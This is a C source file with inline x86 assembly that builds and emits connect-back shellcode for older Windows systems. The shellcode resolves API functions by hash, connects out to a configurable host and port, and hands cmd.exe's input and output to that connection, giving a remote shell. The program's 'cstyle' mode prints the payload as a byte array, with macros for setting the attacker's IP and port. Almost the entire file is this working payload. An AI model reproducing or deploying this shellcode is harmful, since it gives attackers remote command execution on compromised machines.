/* * Generic connectback shellcode for win32 (NT-based versions) * * Overview * * Connect to a specified host:port and redirect cmd.exe to the connection. * * Targets * * NT/2K/XP * * Usage * * $ connectback.exe * Usage: connectback.exe [test | cstyle] * * To generate usable code: * * $ connectback.exe cstyle * * To test the code by having it simulate a connection to 127.1.1.1:4444 * * $ connectback.exe test * * Disclaimer * * The author cannot be held responsible for how this code is used. * * Compile * * Optional defines * * /DUSE_KERNEL32_METHOD_PEB Resolve kernel32 using the PEB technique. * /DUSE_KERNEL32_METHOD_SEH Resolve kernel32 using the SEH technique. * /DUSE_KERNEL32_METHOD_TOPSTACK Resolve kernel32 using the TOPSTACK technique. * /DMINIMIZE_SIZE Remove some of the unecessary code to minimize size. * This assumes that WSAStartup has been called. * * cl connectback.c /link /debug ws2_32.lib * * skape * mmiller@hick.org */ #include #include #pragma warning(disable: 4068) #define DEFAULT_IP 0x0101017f #define EMIT_4_LITTLE_ENDIAN(a,b,c,d) __asm _emit a __asm _emit b __asm _emit c __asm _emit d void __declspec(naked) connectback_begin() { __asm { connectback: jmp startup_bnc // Jump to the startup bounce point #include "generic.c" startup_bnc: jmp startup // Jump to the actual startup resolve_symbols_for_dll: lodsd // Load the current dword from esi into eax push eax // Push the hash as the second argument to find_function push edx // Push the base address of the current dll being loaded from call find_function // Call find_function mov [edi], eax // Store the return address in the current output buffer pointer add esp, 0x08 // Restore eight bytes to the stack. add edi, 0x04 // Add 4 bytes to the output buffer to move to the next slot cmp esi, ecx // Have we reached the end? jne resolve_symbols_for_dll // If not, continue loading resolve_symbols_for_dll_finished: ret // Return to the caller kernel32_symbol_hashes: EMIT_4_LITTLE_ENDIAN(0x8e,0x4e,0x0e,0xec) // LoadLibraryA [0x04] EMIT_4_LITTLE_ENDIAN(0x72,0xfe,0xb3,0x16) // CreateProcessA [0x08] EMIT_4_LITTLE_ENDIAN(0x7e,0xd8,0xe2,0x73) // ExitProcess [0x0c] #ifndef MINIMIZE_SIZE EMIT_4_LITTLE_ENDIAN(0xad,0xd9,0x05,0xce) // WaitForSingleObject [0x10] #endif ws2_32_symbol_hashes: EMIT_4_LITTLE_ENDIAN(0xd9,0x09,0xf5,0xad) // WSASocketA minsize: [0x10] regsize: [0x14] EMIT_4_LITTLE_ENDIAN(0xec,0xf9,0xaa,0x60) // connect minsize: [0x14] regsize: [0x18] #ifndef MINIMIZE_SIZE EMIT_4_LITTLE_ENDIAN(0xcb,0xed,0xfc,0x3b) // WSAStartup [0x1c] EMIT_4_LITTLE_ENDIAN(0xe7,0x79,0xc6,0x79) // closesocket [0x20] #endif startup: sub esp, 0x60 // Allocate 0x60 bytes of stack space mov ebp, esp // Use ebp as the frame pointer jmp get_absolute_address_forward // Jump forward past the middle get_absolute_address_middle: jmp get_absolute_address_end // Jump to the end now that we have our VMA on the stack get_absolute_address_forward: call get_absolute_address_middle // Call to the middle to push the VMA of 'pop esi' onto the stack get_absolute_address_end: pop esi // Pop the return address from the stack into esi call find_kernel32 // Find the kernel32.dll base address through whatever means mov edx, eax // Save the kernel32.dll base address in edx resolve_kernel32_symbols: #ifndef MINIMIZE_SIZE sub esi, 0x2e // Offset esi 0x2e bytes back from 'pop esi' #else sub esi, 0x22 // Offset esi 0x22 bytes back from 'pop esi' #endif lea edi, [ebp + 0x04] // Set edi to the start of our output buffer mov ecx, esi // Set ecx to the address of the first hash #ifndef MINIMIZE_SIZE add ecx, 0x10 // Set the stop point to the first hash address + 0x10 #else add ecx, 0x0c // Set the stop point to the first hash address + 0x0c #endif call resolve_symbols_for_dll // Resolve all the kernel32.dll symbols resolve_winsock_symbols: #ifndef MINIMIZE_SIZE add ecx, 0x10 // Set the stop point to the first hash of ws2_32 + 0x10 #else add ecx, 0x08 // Set the stop point to the first hash of ws2_32 + 0x08 #endif xor eax, eax // Zero eax mov ax, 0x3233 // Set the low order bytes of eax to '32' push eax // Push '32\0\0' push 0x5f327377 // Push 'ws2_' mov ebx, esp // Save the pointer to the 'ws2_32' string in ebx push ecx // Save ecx so that it does not get clobbered push edx // Save edx so that it does not get clobbered push ebx // Push the 'ws2_32' string pointer onto the stack call [ebp + 0x04] // Call LoadLibraryA pop edx // Restore edx pop ecx // Restore ecx mov edx, eax // Set edx to the base address of ws2_32.dll call resolve_symbols_for_dll // Resolve all the ws2_32.dll symbols initialize_cmd: mov eax, 0x646d6301 // Set eax to '\0x01cmd' sar eax, 0x08 // Shift eax 8 bits to the right to remove the \0x01 and add a null push eax // Push the string onto the stack mov [ebp + 0x30], esp // Save the pointer 'cmd' pointer for later use #ifndef MINIMIZE_SIZE initialize_winsock: xor eax, eax // Zero eax mov ax, 0x0190 // Set the low order bytes to 0x0190, the size of WSADATA sub esp, eax // Allocate stack space for the buffer push esp // Push the WSADATA pointer argument add eax, 0x72 // Add 0x72 to set eax to 0x0202 for the version argument push eax // Push the version argument call [ebp + 0x1c] // Call WSAStartup #endif create_socket: xor eax, eax // Zero eax push eax // Push flags (0) push eax // Push group (0) push eax // Push protocol information (NULL) push eax // Push protocol (0) inc eax // Increment eax push eax // Push type (SOCK_STREAM) inc eax // Increment eax push eax // Push af (AF_INET) #ifndef MINIMIZE_SIZE call [ebp + 0x14] // Call WSASocket #else call [ebp + 0x10] // Call WSASocket #endif mov esi, eax // Save the newly allocated file descriptor in esi do_connect: push DEFAULT_IP // Push the network-byte order address to connect to (Default addr is 127.0.0.1) mov eax, 0x5c110102 // Push the port and family information (Default port is 4444) dec ah // Fixup the second byte of the family information push eax // Push the first part of the sockaddr_in structure mov ebx, esp // Save the pointer to the structure in ebx xor eax, eax // Zero eax mov al, 0x10 // Set eax to 0x10 for use as the size of the sockaddr_in push eax // Push the size push ebx // Push the sockaddr_in pointer push esi // Push the file descriptor #ifndef MINIMIZE_SIZE call [ebp + 0x18] // Call connect #else call [ebp + 0x14] // Call connect #endif initialize_process: xor ecx, ecx // Zero ecx mov cl, 0x54 // Set ecx to 0x54 (sizeof(PROCESS_INFORMATION) + sizeof(STARTUPINFO)) sub esp, ecx // Allocate stack space for the two buffers mov edi, esp // Set edi to point to the start of the buffers push edi // Save edi zero_structs: xor eax, eax // Zero eax for use with zeroing out the structures rep stosb // Repeat storing 0x00 until ecx is 0 pop edi // Restore edi to point to the start of the buffers initialize_structs: mov byte ptr [edi], 0x44 // Set the 'cb' attribute of the STARTUPINFO buffer to 0x44 inc byte ptr [edi + 0x2d] // Set the STARTF_USESTDHANDLES flag push edi // Save edi mov eax, esi // Set eax to the file descriptor lea edi, [edi + 0x38] // Load the effective address of hStdInput stosd // Set hStdInput to the file descriptor stosd // Set hStdOutput to the file descriptor stosd // Set hStdError to the file descriptor pop edi // Restore edi to point to the start of the buffers execute_process: xor eax, eax // Zero eax lea esi, [edi + 0x44] // Load the effective address of the PROCESS_INFORMATION buffer push esi // Push the PROCESS_INFORMATION pointer push edi // Push the STARTUPINFO pointer push eax // Push Startup Directory (NULL) push eax // Push Environment (NULL) push eax // Push CreationFlags (0) inc eax // Increment eax push eax // Inherit handles (TRUE) dec eax // Decrement eax push eax // Thread attributes (NULL) push eax // Process attributes (NULL) push [ebp + 0x30] // Command line ('cmd' pointer) push eax // Module name (NULL) call [ebp + 0x08] // Call CreateProcessA #ifndef MINIMIZE_SIZE wait_for_exit: not eax // Invert the bits in eax to 0xffffffff push eax // Push the timeout push [esi] // Push the handle the process that was started call [ebp + 0x10] // Call WaitForSingleObject close_client_fd: push [edi + 0x38] // Push the file descriptor call [ebp + 0x20] // Call closesocket #endif exit_process: call [ebp + 0x0c] // Call ExitProcess } } void __declspec(naked) connectback_end() { exit(1); } int main(int argc, char **argv) { #ifdef MINIMIZE_SIZE WSADATA data; WSAStartup(MAKEWORD(2,2), &data); #endif if (argc == 1) { fprintf(stdout, "Usage: %s [test | cstyle]\n", argv[0]); return 0; } if (!strcmp(argv[1], "test")) connectback_begin(); else if (!strcmp(argv[1], "cstyle")) { unsigned char *start = (unsigned char *)((unsigned char *)connectback_begin); unsigned char *stop = (unsigned char *)((unsigned char *)connectback_end); unsigned char *c = NULL; unsigned long x = 0, length, ipOffset = 0, portOffset = 0; // Calculate the actual address in memory of the begin/end function based off their relative jmp points. start += *(unsigned long *)((unsigned char *)connectback_begin + 1) + 5; stop += *(unsigned long *)((unsigned char *)connectback_end + 1) + 5; length = stop - start; // Calculate the offset to the IP and port in the shellcode so that the macro offset can be set. for (c = start, x = 0; x < length - 4; c++, x++) { if (*(unsigned long *)c == DEFAULT_IP) break; } ipOffset = (unsigned long)(c - start); portOffset = ipOffset + 7; fprintf(stdout, "// %lu byte connectback shellcode\n\n", length); fprintf(stdout, "#define SET_CONNECTBACK_IP(buf, ip) *(unsigned long *)(((buf)+%d)) = (ip)\n", ipOffset); fprintf(stdout, "#define SET_CONNECTBACK_PORT(buf, port) *(unsigned short *)(((buf)+%d)) = (port)\n\n", portOffset); fprintf(stdout, "unsigned char connectback[] = \""); for (c = start, x = 0; x < length; x++) fprintf(stdout, "\\x%2.2x", c[x]); fprintf(stdout, "\";\n\n"); } else fprintf(stdout, "%s: invalid option\n", argv[0]); return 1; }